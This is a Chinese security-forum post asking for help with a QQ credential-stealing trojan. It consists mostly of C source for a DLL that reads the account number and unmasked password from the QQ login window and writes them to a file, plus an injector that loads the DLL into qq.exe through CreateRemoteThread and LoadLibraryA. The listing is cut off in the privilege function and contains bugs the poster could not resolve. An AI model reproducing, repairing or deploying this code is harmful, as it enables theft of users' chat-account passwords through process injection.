返回列表 发帖

[讨论]关于QQ密码的问题——代码注入

[讨论]关于QQ密码的问题——代码注入
议题作者:uncledo
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

看了一篇《针对QQ1230及2003版的木马程序源代码,兼容win98,2000,不显示进程》后按照思路自己模仿了一下。没能成功,dll 中的代码没起作用,
请大家指点一下,关键是dll不好调试!

vc 6.0 sp2

要注入到qq的dll
复制内容到剪贴板
代码:
#include <windows.h>
#include <stdio.h>

//---------------------------------------------------------------------
/*---------------------------------------------------------------------
递归枚举hFatherWindow指定的窗口下的所有子窗口和兄弟窗口,
返回和lstyle样式相同的窗口句柄,如果没有找到,返回NULL
---------------------------------------------------------------------*/
HWND GetStyleWindow(HWND hFatherWindow, const long lstyle)
{
  //如果这个窗口符合查找条件,返回此句柄
  if (GetWindowLong(hFatherWindow, GWL_STYLE) == lstyle)
  {
    return hFatherWindow;
  }

  HWND hNextWindow, hDestWindow;

  //得到子窗口句柄
  if ((hNextWindow = GetWindow(hFatherWindow, GW_CHILD))!= NULL)
  {
    //递归查找子窗口
    if ((hDestWindow = GetStyleWindow(hNextWindow, lstyle)) != NULL)
    {
      return hDestWindow;
    }
  }

  //递归查找兄弟窗口
  if ((hNextWindow = GetWindow(hFatherWindow, GW_HWNDNEXT)) != NULL)
  {
    return GetStyleWindow(hNextWindow, lstyle);
  }

  //没有匹配的则返回NULL
  return NULL;
}

//---------------------------------------------------------------------

int SavePass(char *pchFmtResult)

{
  char total[50];
  total[50]=*pchFmtResult;

  HANDLE f;
  DWORD dw;

  //把QQ号码和QQ密码写入C盘password.txt中

  f=CreateFile("c:\\password.txt",
  GENERIC_WRITE,
  FILE_SHARE_WRITE,
  NULL,
  OPEN_ALWAYS,
  FILE_ATTRIBUTE_NORMAL,
  NULL);

  WriteFile(f,&total,sizeof(total),&dw,NULL);

  CloseHandle(f);
  return 0;
}

//---------------------------------------------------------------------
DWORD WINAPI GetQQPass(void)
{
  //用spy++得到的QQ的数据
  //QQ登录窗口的类名
  const char *pchWinClass = "#32770";
  //QQ登录窗口的号码窗口样式
  const long lNumWindowStyle1 = 0x50010242;
  //QQ登录窗口的密码窗口样式
  const long lPassWindowStyle1 = 0x50000044;


  HWND hLoginWindow, hNumWindow, hPassWindow;
  char achNum[20], achPass[25], achFmtResult[50];
  DWORD ThreadID;

  while(1)
  {
    Sleep(200);

    //找到QQ登录窗口

    hLoginWindow=FindWindow(pchWinClass,"QQ用户登录");

    if(IsWindow(hLoginWindow))
    {
      //获取QQ用户登录对话框里面的号码窗口和密码窗口的句柄
      hNumWindow = GetStyleWindow(hLoginWindow, lNumWindowStyle1);
      hPassWindow = GetStyleWindow(hLoginWindow, lPassWindowStyle1);
      //如果句柄都有效
      if ((hNumWindow && hPassWindow))
      {
        ZeroMemory(achFmtResult, sizeof(achFmtResult));

        //当句柄仍然有效时,说明用户没有点击进入下一步窗口的
        //按钮,则可能还没有输完号码和密码,所以要一直得到这
        //两个窗口的内容,直到窗口无效
        while(GetStyleWindow(hNumWindow, lNumWindowStyle1)
            && GetStyleWindow(hPassWindow, lPassWindowStyle1))
        {
          ZeroMemory(achNum, sizeof(achNum));
          ZeroMemory(achPass, sizeof(achPass));
          SendMessage(hNumWindow, WM_GETTEXT, sizeof(achNum), (LPARAM)achNum);
          //SendMessage(hPassWindow, WM_GETTEXT, sizeof(achPass), (LPARAM)achPass);
/////////////////////
          long nType;

nType = SendMessage(hPassWindow, EM_GETPASSWORDCHAR, 0, 0);//得到该密码框属性,用做取完密码后恢复该属性用
PostMessage( hPassWindow, EM_SETPASSWORDCHAR, 0, 0);//去除密码框密码属性
Sleep (100);//停止100毫秒,这点很重要
SendMessage (hPassWindow,WM_GETTEXT,sizeof(achPass),(LPARAM)achPass);//取出QQ登录密码
PostMessage (hPassWindow,EM_SETPASSWORDCHAR,nType,0);//恢复QQ密码框属性
/////////////////////
          if (lstrlen(achPass))
          {
            ZeroMemory(achFmtResult, sizeof(achFmtResult));
            sprintf(achFmtResult, "%s:%s", achNum, achPass);
          }

          Sleep(20);
        }

        if (lstrlen(achFmtResult) > 6)
        {
          CreateThread(NULL,
                  0,
                  (LPTHREAD_START_ROUTINE)SavePass,
                  achFmtResult,
                  0,
                  &ThreadID);

          Sleep(1000);
        }
      }
    }
  }

  return 0;
}
//-----------------------------------------------------------
BOOL APIENTRY DllMain(
  HANDLE hModule,  // Handle to DLL module
  DWORD ul_reason_for_call,  // Reason for calling function
  LPVOID lpReserved ) // Reserved
{
  switch ( ul_reason_for_call )
  {
    case DLL_PROCESS_ATTACH:
    // A process is loading the DLL.
    break;
    case DLL_THREAD_ATTACH:
    // A process is creating a new thread.
      CreateThread(NULL,
      0,
      (LPTHREAD_START_ROUTINE)GetQQPass,
      0,
      0,
      NULL);
    break;
    case DLL_THREAD_DETACH:
    // A thread exits normally.
    break;
    case DLL_PROCESS_DETACH:
    // A process unloads the DLL.
    break;
  }
  return TRUE;
}
负责注入的cpp 要把dll放在同一目录
复制内容到剪贴板
代码:
#include <windows.h>
#include <string.h>
#include "tlhelp32.h"
#include <stdio.h>
#include <Shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")

#include <stdlib.h>
#include <string>

#include "atlbase.h"
//#include "atlstr.h"
#include "comutil.h"


#ifdef _DEBUG
#include <stdio.h>
#endif

//---------------------------------------------------------------------
int InjectDll( char *FullName, const DWORD Pid);
//---------------------------------------------------------------------
int AddPrivilege(const char *Name);
//---------------------------------------------------------------------
DWORD WINAPI InjectQQ(void);
//---------------------------------------------------------------------
DWORD ProcessToPID(const char *ProcessName);
//---------------------------------------------------------------------

main()
{
  printf("lets go..\n");
  HANDLE honkHandle;
honkHandle=CreateThread(NULL,
      0,
      (LPTHREAD_START_ROUTINE)InjectQQ,
      0,
      0,
      NULL);

while(WaitForSingleObject(honkHandle,INFINITE)==WAIT_TIMEOUT)
  {
    printf("waiting for the thread to finish\n");
  }

printf("ok stop ..\n");
  return TRUE;
}
//---------------------------------------------------------------------
DWORD WINAPI InjectQQ(void)
{  
  printf("start injectqq ..\n");

  int i = GetCurrentDirectory(0,NULL);
  //先把两个参数设为0,NULL用来返回目录的字符数.

  char dir[100];

  GetCurrentDirectory(i,dir);
  #ifdef _DEBUG
  printf("当前目录:%s\n",dir); //显示目录
  #endif
  strcat(dir, "\\inqq.dll");

  //这里是把当前目录和一个文件结合起来,得到文件的绝对路径
  #ifdef _DEBUG
  printf("need dll :%s\n",dir); //显示全名inqq.dll
  #endif
  ///////////////////////////////
  #ifdef _DEBUG
  printf("start find qq process..\n");
  #endif
  //查找QQ进程
  DWORD    NewPid;

  NewPid=ProcessToPID("qq.exe");
  InjectDll(dir, NewPid);

   Sleep(500);
  
  return 0;
}

//---------------------------------------------------------------------
//将FullName指定的dll文件以远程线程方式插入到Pid指定的进程里
int InjectDll( char *FullName, const DWORD Pid)
{
  HANDLE hRemoteProcess;

  //如果是要打开系统进程,一定要先申请debug权限
  AddPrivilege(SE_DEBUG_NAME);

  if ((hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许远程创建线程
    PROCESS_VM_OPERATION | //允许远程VM操作
    PROCESS_VM_WRITE | //允许远程VM写
    PROCESS_VM_READ,  //允许远程VM读
    0,
    Pid)) == NULL)
  {
    #ifdef _DEBUG
      printf("OpenProcess() error.\n");
    #endif
    return 1;
  }

  char *pDllName;

  if ((pDllName = (char *)VirtualAllocEx( hRemoteProcess,
    NULL,
    lstrlen(FullName) + 1,
    MEM_COMMIT,
    PAGE_READWRITE)) == NULL)
  {
    #ifdef _DEBUG
      printf("VirtualAllocEx() error.\n");
    #endif
    return 1;
  }

  //使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
  if (WriteProcessMemory(hRemoteProcess,
    pDllName,
    (void *)FullName,
    lstrlen(FullName),
    NULL) == 0)
  {
    #ifdef _DEBUG
      printf("WriteProcessMemory() error.\n");
    #endif
    return 1;
  }
  //计算LoadLibraryA的入口地址
  PTHREAD_START_ROUTINE pfnStartAddr;

  if ((pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(
    GetModuleHandle(TEXT("kernel32")), "LoadLibraryA")) == NULL)
  {
    #ifdef _DEBUG
      printf("GetProcAddress() error.\n");
    #endif
    return 1;
  }


  HANDLE hRemoteThread;
  DWORD ThreadId;

  if ((hRemoteThread = CreateRemoteThread(hRemoteProcess, //被嵌入的远程进程
    NULL,
    0,
    pfnStartAddr, //LoadLibraryA的入口地址
    pDllName,
    0,
    &ThreadId)) == NULL)
  {
    #ifdef _DEBUG
      printf("CreateRemoteThread() error.\n");
    #endif
    return 1;
  }
  //////////////////////////////////////////////
  printf("wait wait......");
  WaitForSingleObject(hRemoteThread,INFINITE);
  /////////////////////////////////////////////////////

  return 0;
}

//为当前进程增加指定的特权
int AddPrivilege(const char *Name)
{
  HANDLE hToken;
  TOKEN_PRIVILEGES tp;

返回列表